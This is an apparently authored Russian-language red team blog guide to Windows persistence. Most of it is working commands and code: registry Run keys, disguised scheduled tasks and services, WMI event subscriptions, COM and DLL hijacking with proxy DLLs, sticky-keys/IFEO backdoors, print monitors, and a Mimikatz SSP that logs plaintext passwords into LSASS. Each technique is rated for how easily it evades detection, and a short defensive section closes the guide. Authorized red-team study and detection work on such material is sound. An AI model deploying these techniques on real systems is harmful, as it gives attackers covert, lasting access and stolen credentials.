Windows Persistence 2026 — Полный гайд: все техники закрепления с кодом

Posted on 1 апреля, 2026 by AkaTor

Категория: Red Team / Offensive Security
Уровень: Intermediate → Advanced
Автор: Aka Tor
Дата: Апрель 2026

Введение

Persistence — механизм выживания после перезагрузки. Доступ получен, shell активен, но один reboot — и всё утрачено. Закрепление решает эту проблему.

В 2026 году EDR-решения контролируют классические места (Run keys, Task Scheduler), однако десятки менее очевидных техник остаются в слепой зоне. Статья покрывает **все** основные и продвинутые методы с рабочим кодом, указанием уровня обнаружения и необходимых привилегий.

Предупреждение: Материал для авторизованного пентестинга и Red Team. Несанкционированное применение преследуется по закону.

Содержание

---

1. Registry Run Keys

Наиболее известный и контролируемый метод. Запись в Run/RunOnce приводит к запуску процесса при каждом входе пользователя.

User-level (не требует административных привилегий)

```
# Запуск при входе текущего пользователя
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v
"WindowsUpdate" /t REG_SZ /d "C:\Users\Public\beacon.exe" /f

# RunOnce — выполнится один раз и удалится
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v
"Updater" /t REG_SZ /d "powershell -w hidden -enc " /f
```

Machine-level (требует admin)

```
# Для всех пользователей
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v
"SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f
```

Менее известные ключи

```
# Explorer Run
reg add
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
```

```
/v "1" /t REG_SZ /d "beacon.exe" /f

# Winlogon Shell — дополнение к explorer.exe
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
/v "Shell" /t REG_SZ /d "explorer.exe, beacon.exe" /f

# Winlogon Userinit — выполняется до загрузки Shell
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
/v "Userinit" /t REG_SZ /d
"C:\Windows\System32\userinit.exe,C:\beacon.exe," /f
```

C#

```
using Microsoft.Win32;

class RegPersist
{
    static void Main()
    {
        // User-level — без UAC
        var key = Registry.CurrentUser.OpenSubKey(
            @"Software\Microsoft\Windows\CurrentVersion\Run", true);
        key.SetValue("OneDriveSync", @"C:\Users\Public\beacon.exe");
        key.Close();

        // Machine-level — требует admin
        var hklm = Registry.LocalMachine.OpenSubKey(
            @"Software\Microsoft\Windows\CurrentVersion\Run", true);
        hklm.SetValue("SecurityHealthService",
@"C:\Windows\Temp\svc.exe");
        hklm.Close();
    }
}
```

Привилегии: HKCU — пользователь, HKLM — администратор
Обнаружение: Высокий — все EDR отслеживают Run keys. Sysmon Event 13 (запись значения реестра). Autoruns обнаруживает немедленно.

---

2. Scheduled Tasks

Гибкий механизм — триггеры на загрузку, вход, простой, событие, расписание.

schtasks.exe

```
# При входе любого пользователя
schtasks /create /tn "Microsoft\Windows\WindowsUpdate\UpdateCheck" /tr
"C:\Windows\Temp\beacon.exe" /sc onlogon /ru SYSTEM /f

# При загрузке системы
schtasks /create /tn "Microsoft\Windows\Maintenance\Cleanup" /tr
"powershell -w hidden -enc " /sc onstart /ru SYSTEM /f

# Каждые 15 минут
schtasks /create /tn "GoogleUpdate" /tr "C:\Users\Public\update.exe"
/sc minute /mo 15 /ru %USERNAME% /f

# По событию
schtasks /create /tn "EventTask" /tr "beacon.exe" /sc onevent /ec
System /mo "*[System[EventID=1]]" /f
```

PowerShell

```
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-w hidden -ep bypass -f C:\Users\Public\update.ps1"

$trigger1 = New-ScheduledTaskTrigger -AtLogOn
$trigger2 = New-ScheduledTaskTrigger -AtStartup
$trigger3 = New-ScheduledTaskTrigger -Once -At (Get-Date) `
    -RepetitionInterval (New-TimeSpan -Minutes 30)

$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel
Highest
$settings = New-ScheduledTaskSettingsSet -Hidden -
AllowStartIfOnBatteries
```

```
Register-ScheduledTask -TaskName "Microsoft\Windows\Application
Experience\ProgramDataUpdater" `
    -Action $action -Trigger $trigger1,$trigger2,$trigger3 `
    -Principal $principal -Settings $settings
```

C#

```
using System;
using Microsoft.Win32.TaskScheduler;

class TaskPersist
{
    static void Main()
    {
        using (var ts = new TaskService())
        {
            var td = ts.NewTask();
            td.RegistrationInfo.Description = "Windows Update
Service";
            td.Principal.UserId = "SYSTEM";
            td.Principal.RunLevel = TaskRunLevel.Highest;
            td.Settings.Hidden = true;

            td.Triggers.Add(new BootTrigger());
            td.Triggers.Add(new LogonTrigger());
            td.Triggers.Add(new TimeTrigger {
                StartBoundary = DateTime.Now,
                Repetition = { Interval = TimeSpan.FromMinutes(30) }
            });

            td.Actions.Add(new
ExecAction(@"C:\Windows\Temp\svc.exe"));

            ts.RootFolder.RegisterTaskDefinition(
                @"Microsoft\Windows\NetTrace\GatherNetworkInfo",
                td, TaskCreation.CreateOrUpdate,
                "SYSTEM", null, TaskLogonType.ServiceAccount);
        }
```

```
    }
}
```

Привилегии: Пользовательские задачи — без admin, задачи от SYSTEM — admin
Обнаружение: Средний — Event 4698 (создание задачи). Имя можно замаскировать под системное. Autoruns показывает все задачи.

---

3. WMI Event Subscriptions

Подписка на событие WMI — при наступлении условия (вход, таймер, запуск процесса) выполняется payload. Переживает перезагрузку. Может работать без файлов на диске.

PowerShell — полная подписка

```
# 1. Event Filter — условие срабатывания
$filterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = 'WindowsParentalFilter'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root/subscription -Class
__EventFilter -Arguments $filterArgs

# 2. Event Consumer — действие при срабатывании
$consumerArgs = @{
    Name = 'WindowsParentalConsumer'
    CommandLineTemplate = "powershell.exe -w hidden -enc "
}
$consumer = Set-WmiInstance -Namespace root/subscription -Class
CommandLineEventConsumer -Arguments $consumerArgs

# 3. Binding — связь Filter и Consumer
$bindingArgs = @{ Filter = $filter; Consumer = $consumer }
Set-WmiInstance -Namespace root/subscription -Class
```

```
__FilterToConsumerBinding -Arguments $bindingArgs
```

Варианты триггеров

```
# При входе пользователя
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE
TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType =
2"

# При запуске explorer.exe (фактически — вход пользователя)
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE
TargetInstance ISA 'Win32_Process' AND TargetInstance.Name =
'explorer.exe'"

# По расписанию (каждый день в 09:00)
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 9 AND
TargetInstance.Minute = 0"

# При подключении USB-устройства
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE
TargetInstance ISA 'Win32_DiskDrive'"
```

ActiveScriptEventConsumer (VBScript без exe-файла)

```
$consumerArgs = @{
    Name = 'ScriptConsumer'
    ScriptingEngine = 'VBScript'
    ScriptText = @'
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -w hidden -enc ", 0, False
'@
}
$consumer = Set-WmiInstance -Namespace root/subscription -Class
ActiveScriptEventConsumer -Arguments $consumerArgs
```

Удаление

```
Get-WmiObject -Namespace root/subscription -Class __EventFilter |
```

```
Where-Object { $_.Name -eq 'WindowsParentalFilter' } | Remove-
WmiObject
Get-WmiObject -Namespace root/subscription -Class
CommandLineEventConsumer | Where-Object { $_.Name -eq
'WindowsParentalConsumer' } | Remove-WmiObject
Get-WmiObject -Namespace root/subscription -Class
__FilterToConsumerBinding | Where-Object { $_.Filter -like
'*WindowsParental*' } | Remove-WmiObject
```

Привилегии: Администратор
Обнаружение: Низкий-Средний — Event 5861 (постоянное событие WMI). Sysmon Event 19/20/21 (WMI). Многие SOC не отслеживают WMI Subscriptions.

---

4. COM Hijacking

Подмена DLL, на которую указывает COM-класс. Когда легитимный процесс загружает COM-объект — загружается подменённая DLL. Для HKCU не требует административных привилегий.

Поиск доступных для подмены COM-объектов

```
# COM-классы, где запись в HKCU перекрывает HKLM
# Если CLSID существует в HKLM\CLSID, но отсутствует в HKCU\CLSID —
можно создать в HKCU

# Популярные цели (загружаются explorer.exe при каждом входе):
# {BCDE0395-E52F-467C-8E3D-C4579291692E} — MMDeviceEnumerator (аудио)
# {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} — Thumbnail Cache

# Автоматический поиск
$clsids = Get-ChildItem "HKLM:\Software\Classes\CLSID" | Select-Object
-ExpandProperty PSChildName
foreach ($clsid in $clsids) {
    $hklm = "HKLM:\Software\Classes\CLSID\$clsid\InprocServer32"
    $hkcu = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
    if ((Test-Path $hklm) -and !(Test-Path $hkcu)) {
```

```
        $dll = (Get-ItemProperty $hklm -ErrorAction
SilentlyContinue).'(default)'
        if ($dll -and $dll -notlike "*system32*") {
            Write-Output "$clsid -> $dll"
        }
    }
}
```

Подмена через HKCU (без admin)

```
# Подмена MMDeviceEnumerator — загружается explorer.exe при входе
reg add "HKCU\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-
C4579291692E}\InprocServer32" /ve /t REG_SZ /d
"C:\Users\Public\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-
C4579291692E}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both"
/f
```

Proxy DLL (сохранение функциональности оригинала)

```
#include <windows.h>
#pragma comment(linker,
"/export:DllGetClassObject=original.DllGetClassObject,@1")
#pragma comment(linker,
"/export:DllCanUnloadNow=original.DllCanUnloadNow,@2")
#pragma comment(linker,
"/export:DllRegisterServer=original.DllRegisterServer,@3")

DWORD WINAPI PayloadThread(LPVOID param)
{
    // Полезная нагрузка
    system("powershell -w hidden -enc ");
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID
lpReserved)
{
    if (reason == DLL_PROCESS_ATTACH) {
```

```
        DisableThreadLibraryCalls(hModule);
        CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
    }
    return TRUE;
}
```

Привилегии: HKCU — пользователь, HKLM — администратор
Обнаружение: Низкий — стандартные события отсутствуют. Sysmon Event 13 зафиксирует запись в CLSID. Однако объём записей в CLSID значителен — событие теряется в общем потоке.

---

5. DLL Hijacking / Search Order Hijacking

Windows ищет DLL в определённом порядке. Размещение DLL в директории с более высоким приоритетом приводит к загрузке подменённой библиотеки.

Порядок поиска DLL

```
1. Директория исполняемого файла (application directory)
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. Текущая рабочая директория
6. Директории из переменной PATH
```

Phantom DLL Hijacking (DLL отсутствует в системе)

```
# Некоторые сервисы Windows пытаются загрузить DLL, которых нет в
системе:

# WptsExtensions.dll — Task Scheduler (требует admin)
copy payload.dll C:\Windows\System32\WptsExtensions.dll

# ualapi.dll — Print Spooler (выполнение от SYSTEM)
copy payload.dll C:\Windows\System32\ualapi.dll

# SprintCSP.dll — StorSvc
```

```
copy payload.dll C:\Windows\System32\SprintCSP.dll
```

DLL Proxying (сохранение функциональности)

```
// Пример proxy для version.dll (часто используется для подмены)
#pragma comment(linker,
"/export:GetFileVersionInfoA=version_orig.GetFileVersionInfoA")
#pragma comment(linker,
"/export:GetFileVersionInfoW=version_orig.GetFileVersionInfoW")
#pragma comment(linker,
"/export:GetFileVersionInfoSizeA=version_orig.GetFileVersionInfoSizeA"
)
#pragma comment(linker,
"/export:GetFileVersionInfoSizeW=version_orig.GetFileVersionInfoSizeW"
)
#pragma comment(linker,
"/export:VerQueryValueA=version_orig.VerQueryValueA")
#pragma comment(linker,
"/export:VerQueryValueW=version_orig.VerQueryValueW")

#include <windows.h>

DWORD WINAPI PayloadFunc(LPVOID p)
{
    system("powershell -w hidden -enc ");
    return 0;
}

BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r)
{
    if (reason == DLL_PROCESS_ATTACH) {
        LoadLibraryA("C:\\Windows\\System32\\version.dll");
        CreateThread(NULL, 0, PayloadFunc, NULL, 0, NULL);
    }
    return TRUE;
}
```

Привилегии: Зависит от целевой директории. Директории пользователя — без admin. System32 — admin.

Обнаружение: Низкий — отсутствие записей реестра и журналов событий. Sysmon Event 7 (загрузка DLL) с нетипичным путём, однако количество событий загрузки DLL создаёт значительный шум.

---

6. Windows Services

Создание сервиса — payload запускается от SYSTEM при каждой загрузке системы.

sc.exe

```
# Создание нового сервиса
sc create "WindowsTelemetry" binpath= "C:\Windows\Temp\beacon.exe"
start= auto obj= LocalSystem DisplayName= "Windows Telemetry Service"
sc description "WindowsTelemetry" "Collects and sends usage data to
Microsoft."

# Модификация существующего неиспользуемого сервиса (менее заметно)
sc config "Fax" binpath= "C:\Windows\Temp\beacon.exe"
sc config "Fax" start= auto
```

C# — сервис с корректным ServiceMain

```
using System;
using System.ServiceProcess;
using System.Diagnostics;
using System.Threading;

class PersistService : ServiceBase
{
    static void Main() => Run(new PersistService());

    protected override void OnStart(string[] args)
    {
        new Thread(() => {
            Process.Start(new ProcessStartInfo {
                FileName = "powershell.exe",
```

```
                Arguments = "-w hidden -enc ",
                CreateNoWindow = true,
                UseShellExecute = false
            });
        }).Start();
    }

    protected override void OnStop() { }
}
```

Через реестр (без использования sc.exe)

```
reg add "HKLM\System\CurrentControlSet\Services\WinHealthSvc" /v
"ImagePath" /t REG_EXPAND_SZ /d "C:\Windows\Temp\svc.exe" /f
reg add "HKLM\System\CurrentControlSet\Services\WinHealthSvc" /v
"DisplayName" /t REG_SZ /d "Windows Health Service" /f
reg add "HKLM\System\CurrentControlSet\Services\WinHealthSvc" /v
"Start" /t REG_DWORD /d 2 /f
reg add "HKLM\System\CurrentControlSet\Services\WinHealthSvc" /v
"Type" /t REG_DWORD /d 16 /f
reg add "HKLM\System\CurrentControlSet\Services\WinHealthSvc" /v
"ObjectName" /t REG_SZ /d "LocalSystem" /f
```

Привилегии: Администратор
Обнаружение: Высокий — Event 7045 (установка сервиса), Event 4697 (установка сервиса). Autoruns отображает все сервисы.

---

7. Accessibility Features

Замена исполняемых файлов специальных возможностей (sethc.exe, utilman.exe, narrator.exe, magnify.exe, osk.exe) на cmd.exe или payload. Активируется с экрана входа — **до аутентификации**.

Sticky Keys (sethc.exe)

```
# Замена sethc.exe — активируется пятикратным нажатием Shift на экране
входа
```

```
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrators:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /y
```

Utilman (Win+U)

```
# Замена utilman.exe — активируется комбинацией Win+U на экране входа
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrators:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe /y
```

Через IFEO (без замены файла)

```
# Image File Execution Options — debugger перехватывает запуск
целевого процесса
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d
"C:\Windows\System32\cmd.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\utilman.exe" /v "Debugger" /t REG_SZ /d
"C:\Windows\System32\cmd.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\narrator.exe" /v "Debugger" /t REG_SZ /d
"C:\Windows\System32\cmd.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\osk.exe" /v "Debugger" /t REG_SZ /d
"C:\Windows\System32\cmd.exe" /f
```

Привилегии: Администратор (SYSTEM для замены файлов)
Обнаружение: Средний — замена файла определяется по хэшу. IFEO фиксируется Sysmon Event 13. Autoruns отображает IFEO debuggers.

---

8. Startup Folder

```
# Директория пользователя (без admin)
copy beacon.exe "%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\updater.exe"
```

```
# Ярлык (.lnk) — менее заметно
powershell -c "$s=(New-Object -COM
WScript.Shell).CreateShortcut('%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\OneDrive.lnk');$s.TargetPath='C:\Users\Public\be
acon.exe';$s.WindowStyle=7;$s.Save()"

# Директория всех пользователей (admin)
copy beacon.exe "C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup\updater.exe"
```

Привилегии: Пользователь (HKCU), Администратор (All Users)
Обнаружение: Высокий — Autoruns, Sysmon Event 11 (создание файла), Event 1 (запуск процесса из директории Startup).

---

9. Logon Scripts

```
# Скрипт входа через реестр
reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d
"C:\Users\Public\payload.bat" /f

# Через групповую политику (требует Domain Admin)
# Размещение скрипта: \\DOMAIN\SYSVOL\domain\scripts\
# Назначение через GPO: User Configuration > Windows Settings >
Scripts > Logon
```

Привилегии: HKCU — пользователь, GPO — Domain Admin
Обнаружение: Низкий — ключ UserInitMprLogonScript редко контролируется. Sysmon Event 13 на ключ Environment.

---

10. Image File Execution Options (IFEO)

Помимо Accessibility Features, IFEO позволяет перехватить запуск **произвольного** исполняемого файла:

```
# Debugger — перехват запуска notepad.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\notepad.exe" /v "Debugger" /t REG_SZ /d
"C:\Windows\Temp\beacon.exe" /f

# SilentProcessExit — триггер при ЗАВЕРШЕНИИ процесса
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\notepad.exe" /v "GlobalFlag" /t REG_DWORD /d 512 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SilentProcessExit\notepad.exe" /v "MonitorProcess"
/t REG_SZ /d "C:\Windows\Temp\beacon.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SilentProcessExit\notepad.exe" /v "ReportingMode" /t
REG_DWORD /d 1 /f

# Результат: при каждом закрытии notepad.exe запускается beacon
```

Привилегии: Администратор
Обнаружение: Низкий-Средний — Sysmon Event 13 на ключи IFEO. SilentProcessExit контролируется редко.

---

11. AppInit_DLLs

DLL загружается в каждый процесс, использующий user32.dll (практически все GUI-приложения).

```
# Указание DLL и включение механизма
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v
"AppInit_DLLs" /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v
"LoadAppInit_DLLs" /t REG_DWORD /d 1 /f

# Отключение требования подписи (для систем с Secure Boot)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v
"RequireSignedAppInit_DLLs" /t REG_DWORD /d 0 /f
```

Привилегии: Администратор
Обнаружение: Средний — Autoruns показывает. Sysmon Event 13. На системах с Secure Boot значение RequireSignedAppInit_DLLs=0 — явный индикатор.

---

12. Print Monitor

Регистрация поддельного Print Monitor — DLL загружается сервисом Print Spooler (от SYSTEM).

```
# Регистрация
reg add
"HKLM\System\CurrentControlSet\Control\Print\Monitors\EvilMonitor" /v
"Driver" /t REG_SZ /d "payload.dll" /f

# DLL должна находиться в System32
copy payload.dll C:\Windows\System32\payload.dll

# Перезапуск Spooler для загрузки DLL от SYSTEM
sc stop Spooler && sc start Spooler
```

Привилегии: Администратор
Обнаружение: Низкий — реестр Print Monitors редко контролируется. Autoruns показывает.

---

13. Netsh Helper DLL

```
# Регистрация helper DLL
netsh add helper C:\Windows\Temp\payload.dll

# Запись создаётся в HKLM\SOFTWARE\Microsoft\NetSh
# DLL загружается при каждом запуске netsh.exe
```

Привилегии: Администратор
Обнаружение: Низкий — Sysmon Event 13 на ключ NetSh. Срабатывает только при

запуске netsh.

---

14. Security Support Provider (SSP)

SSP DLL загружается в процесс LSASS — перехват всех аутентификаций (пароли в открытом виде).

```
# mimilib.dll — SSP от Mimikatz, записывает пароли в kiwissp.log
copy mimilib.dll C:\Windows\System32\mimilib.dll
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security
Packages" /t REG_MULTI_SZ /d
"kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

# Без перезагрузки (загрузка SSP в память через API):
# Mimikatz:
misc::memssp
# Пароли записываются в C:\Windows\System32\mimilsa.log
```

Привилегии: Администратор/SYSTEM
Обнаружение: Средний — Event 4622 (загрузка пакета безопасности). Credential Guard блокирует доступ к LSASS.

---

15. Port Monitor

```
reg add
"HKLM\System\CurrentControlSet\Control\Print\Monitors\EvilPort\Ports\E
vilPort:" /v "" /t REG_SZ /d "" /f
reg add
"HKLM\System\CurrentControlSet\Control\Print\Monitors\EvilPort" /v
"Driver" /t REG_SZ /d "payload.dll" /f
```

Привилегии: Администратор
Обнаружение: Низкий

16. Сравнительная таблица

Техника	Нужные привилегии	Получаемые привилегии	Уровень обнаружения	Переживает перезагрузку
Registry Run Keys	User	User	Высокий	Да
Scheduled Tasks	User/Admin	User/SYSTEM	Средний	Да
WMI Subscriptions	Admin	SYSTEM	Низкий-Средний	Да
COM Hijacking (HKCU)	User	User	Низкий	Да
DLL Hijacking	Varies	Varies	Низкий	Да
Windows Services	Admin	SYSTEM	Высокий	Да
Accessibility (IFEO)	Admin	SYSTEM	Средний	Да
Startup Folder	User	User	Высокий	Да
Logon Scripts	User	User	Низкий	Да
IFEO Debugger	Admin	Целевой	Низкий-Средний	Да
SilentProcessExit	Admin	Целевой	Низкий	Да
AppInit_DLLs	Admin	User/SYSTEM	Средний	Да
Print Monitor	Admin	SYSTEM	Низкий	Да
Netsh Helper	Admin	User	Низкий	При netsh
SSP (LSASS)	Admin	SYSTEM	Средний	Да
Port Monitor	Admin	SYSTEM	Низкий	Да

Оптимальные техники без административных привилегий:

1. COM Hijacking (HKCU) — низкий уровень обнаружения
2. DLL Search Order Hijacking — низкий уровень обнаружения

3. Logon Scripts (Environment) — низкий уровень обнаружения

Оптимальные техники с административными привилегиями:

1. WMI Event Subscriptions — низкий уровень обнаружения, привилегии SYSTEM
2. Print/Port Monitor — низкий уровень обнаружения, привилегии SYSTEM
3. SilentProcessExit — низкий уровень обнаружения, активация при завершении процесса

---

17. Blue Team — обнаружение и защита

Мониторинг

```
1.  Sysmon Event 13 — запись значений реестра (Run, Services, IFEO, CLSID, LSA, Print Monitors)
2.  Event 7045 / 4697 — установка нового сервиса
3.  Event 4698 — создание запланированной задачи
4.  Sysmon Event 19/20/21 — подписки на события WMI
5.  Sysmon Event 7 — загрузка DLL из нетипичного расположения
6.  Event 4622 — загрузка пакета безопасности (SSP)
7.  Sysmon Event 11 — создание файлов в Startup, System32, директориях CLSID
8.  Sysmon Event 1 — создание процесса с нетипичным родительским процессом
9.  Event 4104 — PowerShell Script Block (закодированные команды)
10. Периодическое сравнение с Autoruns baseline
```

Инструменты

```
- Autoruns (Sysinternals) — отображает все точки автозапуска
- KAPE + RECmd — форензика persistence в реестре
- Velociraptor — поиск артефактов persistence по всей сети
- YARA-правила для DLL в нестандартных директориях
- OSQuery — регулярные запросы к реестру, задачам, сервисам, WMI
```

Защита

1. Credential Guard — защита LSASS от инъекции SSP
2. Protected Process Light для LSASS — блокировка доступа к памяти LSASS
3. AppLocker / WDAC — белый список исполняемых файлов и DLL
4. Constrained Language Mode в PowerShell
5. Блокировка AppInit_DLLs через групповую политику
6. Аудит ключей IFEO через SACL
7. Ограничение доступа к WMI через безопасность пространства имён
8. Удаление неиспользуемых средств специальных возможностей
9. Отключение Print Spooler на серверах, где он не требуется
10. Развёртывание Sysmon с корректными правилами (SwiftOnSecurity baseline)

Заключение

В 2026 году persistence — это не просто запись в Run key. Это выбор между десятками техник с различным уровнем скрытности, требуемых привилегий и устойчивости.

Принцип Red Team: используйте минимум два метода закрепления на каждом хосте. Один очевидный (scheduled task) в качестве отвлечения для SOC, второй скрытный (COM hijack или WMI subscription) — как основной канал возврата.

Принцип Blue Team: Autoruns + Sysmon + мониторинг WMI закрывает 95% техник. Оставшиеся 5% (DLL hijacking, Phantom DLLs) требуют мониторинга хэшей DLL по базовому уровню.